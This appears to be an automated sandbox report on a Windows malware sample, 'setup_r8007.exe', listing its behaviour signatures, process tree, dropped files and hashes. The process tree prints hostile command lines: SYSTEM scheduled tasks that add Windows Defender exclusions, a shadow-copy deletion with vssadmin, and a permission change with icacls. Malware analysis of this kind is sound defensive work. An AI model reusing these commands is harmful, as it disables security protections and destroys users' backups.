Analysis

  • max time kernel
    147s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    07/08/2026, 04:06

General

  • Target
    setup_r8007.exe
  • Size 61.7MB
  • Sample260807-ephx7adh46
  • SHA256 dba52f1a3149510fd847bdfade319db125019d7727785f662b26955c0e089850
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 8 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • System policy modification 1 TTPs 1 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_r8007.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_r8007.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4224
  • C:\Users\Public\cZbj4k\bPUilH.exe
    C:\Users\Public\cZbj4k\bPUilH.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4960
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\cZbj4k\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4304
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\cZbj4k\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3788
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:3352
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3976
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2680
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4336
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4004
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:996
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:5108
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2576
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:1840
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:3952
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2692
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3200
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4668
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1060
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:2072
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:976
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3832
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:3132
                        • C:\Program Files (x86)\OLSb3p\OLSb3p.exe
                          "C:\Program Files (x86)\OLSb3p\OLSb3p.exe"
                          2⤵
                          • UAC bypass
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Adds Run key to start application
                          • System Location Discovery: System Language Discovery
                          • System policy modification
                          PID:3440
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c vssadmin delete shadows /all /quiet
                            3⤵
                            • Executes a command shell one-liner
                            PID:3280
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\OLSb3p" /inheritance:r
                            3⤵
                            • Executes a command shell one-liner
                            PID:2104
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\OLSb3p" /inheritance:r
                              4⤵
                              • Modifies file permissions
                              PID:852
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c echo.>c:\xxxx.ini
                            3⤵
                            • Executes a command shell one-liner
                            PID:5112
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c echo.>c:\xxxx.ini
                            3⤵
                            • Executes a command shell one-liner
                            PID:1404
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c echo.>c:\xxxx.ini
                            3⤵
                            • Executes a command shell one-liner
                            PID:2120
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\cZbj4k" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:2688
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\cZbj4k" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:2920
                      • C:\Users\Public\cZbj4k\bPUilH.exe
                        "C:\Users\Public\cZbj4k\bPUilH.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:2884
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4192
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3368
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1408
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:64
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3484
                        • C:\Program Files (x86)\OLSb3p\OLSb3p.exe
                          "C:\Program Files (x86)\OLSb3p\OLSb3p.exe"
                          1⤵
                            PID:2792
                          • C:\Program Files (x86)\th328MU\1f14y.exe
                            "C:\Program Files (x86)\th328MU\1f14y.exe"
                            1⤵
                              PID:4928

                            Network

                                  MITRE ATT&CK Enterprise v16

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  OLSb3p.exe

                                  • Path C:\Program Files (x86)\OLSb3p\OLSb3p.exe
                                  • Size 145KB
                                  • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  XPSPLOG.dll

                                  • Path C:\Program Files (x86)\OLSb3p\XPSPLOG.dll
                                  • Size 4.6MB
                                  • SHA256 f92f8b479716b95e63f8e98c7183e77107f4dbcfc05ec3c5fc78c1508c5f4235
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  XPSPLOG.dll

                                  • Path C:\Program Files (x86)\OLSb3p\XPSPLOG.dll
                                  • Size 3.7MB
                                  • SHA256 db2da8797e9d323c6345949b22629dcb93f8781870ae3ef7bdaa86c43d83e6dd
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  image.png

                                  • Path C:\Program Files (x86)\OLSb3p\image.png
                                  • Size 5.0MB
                                  • SHA256 f0736b92cfc2e9c071f2ee9a51671060afa01d8008a76bb0abc70decab57c861
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  thumbs.db

                                  • Path C:\Program Files (x86)\OLSb3p\thumbs.db
                                  • Size 358KB
                                  • SHA256 070ebe2e163dfa12e929851b2d097f9ac0b8bc3d9c35daaf1799461d8a500d15
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  XPSPLOG.dll

                                  • Path C:\Program Files (x86)\th328MU\XPSPLOG.dll
                                  • Size 2.3MB
                                  • SHA256 95b466ec6d902d93e0abce1fa1511c6382a854bc28ed8d29ec5085060dd58d27
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  XPSPLOG.dll

                                  • Path C:\Program Files (x86)\th328MU\XPSPLOG.dll
                                  • Size 2.9MB
                                  • SHA256 3f6af352f3956b9ff712e7656e21d57aeeae6fe23b4fffb1828dbbc270c6fc51
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  image.png

                                  • Path C:\Program Files (x86)\th328MU\image.png
                                  • Size 576KB
                                  • SHA256 46a69ef3494d58789e5718c61174b23ef6992869b104421c1a38a2d4aa7fd4c3
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  destopbak.ini

                                  • Path C:\Users\Public\Music\destopbak.ini
                                  • Size 2B
                                  • SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
                                  • MD5 SHA1 SHA512

                                  UxEnhance64.dll

                                  • Path C:\Users\Public\cZbj4k\UxEnhance64.dll
                                  • Size 3.1MB
                                  • SHA256 bfe1a8a6680c40d450bae72294d7448692a16cbd264b1792e6a0c14da9b0e110
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  adoresd.dat

                                  • Path C:\Users\Public\cZbj4k\adoresd.dat
                                  • Size 4.7MB
                                  • SHA256 72bcfda2809b18a550203d552ba2f79aff970420b59fa5303ba615178e96fe25
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  bPUilH.exe

                                  • Path C:\Users\Public\cZbj4k\bPUilH.exe
                                  • Size 135KB
                                  • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  msadox.tb

                                  • Path C:\Users\Public\cZbj4k\msadox.tb
                                  • Size 8KB
                                  • SHA256 f7af1a75c9e85985f6b9b38156bb9af1cfc522cd0ca77b39d623b29f998ef1de
                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                  memory/2792-716-0x0000000075150000-0x000000007589A000-memory.dmp

                                  memory/2792-715-0x0000000000C90000-0x0000000000C91000-memory.dmp

                                  memory/2792-719-0x0000000003470000-0x0000000003C77000-memory.dmp

                                  memory/2884-591-0x00000285EC3D0000-0x00000285ECC61000-memory.dmp

                                  memory/2884-580-0x00007FFBAEB40000-0x00007FFBAF05E000-memory.dmp

                                  memory/2884-585-0x00007FFBCCF20000-0x00007FFBCCF22000-memory.dmp

                                  memory/2884-586-0x00000285EC3D0000-0x00000285ECC61000-memory.dmp

                                  memory/2884-593-0x00000285EC3D0000-0x00000285ECC61000-memory.dmp

                                  memory/2884-594-0x00007FFBCCF10000-0x00007FFBCCF12000-memory.dmp

                                  memory/2884-592-0x00000285EC3D0000-0x00000285ECC61000-memory.dmp

                                  memory/2884-590-0x00000285EC3D0000-0x00000285ECC61000-memory.dmp

                                  memory/2884-583-0x00000285EC3D0000-0x00000285ECC61000-memory.dmp

                                  memory/3440-665-0x00000000008C0000-0x00000000008C1000-memory.dmp

                                  memory/3440-696-0x0000000002F10000-0x0000000003717000-memory.dmp

                                  memory/3440-672-0x00000000008E0000-0x00000000008E1000-memory.dmp

                                  memory/3440-673-0x0000000002F10000-0x0000000003717000-memory.dmp

                                  memory/3440-670-0x0000000002F10000-0x0000000003717000-memory.dmp

                                  memory/3440-677-0x0000000002F10000-0x0000000003717000-memory.dmp

                                  memory/3440-684-0x00000000037E0000-0x00000000037F4000-memory.dmp

                                  memory/3440-666-0x0000000075150000-0x000000007589A000-memory.dmp

                                  memory/3440-704-0x0000000010000000-0x0000000010061000-memory.dmp

                                  memory/3440-701-0x0000000002F10000-0x0000000003717000-memory.dmp

                                  memory/4224-0-0x00000000001E0000-0x00000000001ED000-memory.dmp

                                  memory/4224-523-0x00000000001E0000-0x00000000001ED000-memory.dmp

                                  memory/4224-524-0x00007FFBC33F0000-0x00007FFBC3400000-memory.dmp

                                  memory/4224-503-0x00007FFBC33F0000-0x00007FFBC3400000-memory.dmp

                                  memory/4224-1-0x0000000000510000-0x000000000051B000-memory.dmp

                                  memory/4928-726-0x0000000002E20000-0x0000000003627000-memory.dmp

                                  memory/4928-722-0x0000000073E70000-0x00000000745BA000-memory.dmp

                                  memory/4928-721-0x00000000008D0000-0x00000000008D1000-memory.dmp

                                  memory/4960-549-0x00000267D5090000-0x00000267D5921000-memory.dmp

                                  memory/4960-538-0x00000267D5090000-0x00000267D5921000-memory.dmp

                                  memory/4960-537-0x00007FFBCCF20000-0x00007FFBCCF22000-memory.dmp

                                  memory/4960-542-0x00000267D5090000-0x00000267D5921000-memory.dmp

                                  memory/4960-535-0x00000267D5090000-0x00000267D5921000-memory.dmp

                                  memory/4960-530-0x00007FFBAEB40000-0x00007FFBAF05E000-memory.dmp

                                  memory/4960-544-0x00000267D5090000-0x00000267D5921000-memory.dmp

                                  memory/4960-529-0x00007FFBCCF10000-0x00007FFBCCF12000-memory.dmp

                                  memory/4960-543-0x00000267D5090000-0x00000267D5921000-memory.dmp

                                  memory/4960-545-0x00000267D5090000-0x00000267D5921000-memory.dmp

                                  memory/4960-565-0x00000267D5090000-0x00000267D5921000-memory.dmp

                                  memory/4960-558-0x00000267D5D00000-0x00000267D5D8A000-memory.dmp

                                  memory/4960-557-0x00000267D5D00000-0x00000267D5D8A000-memory.dmp

                                  memory/4960-556-0x00000267D5D00000-0x00000267D5D8A000-memory.dmp

                                  memory/4960-555-0x00000267D5D00000-0x00000267D5D8A000-memory.dmp

                                  memory/4960-562-0x00000267D5090000-0x00000267D5921000-memory.dmp

                                  memory/4960-554-0x00000267D4540000-0x00000267D458E000-memory.dmp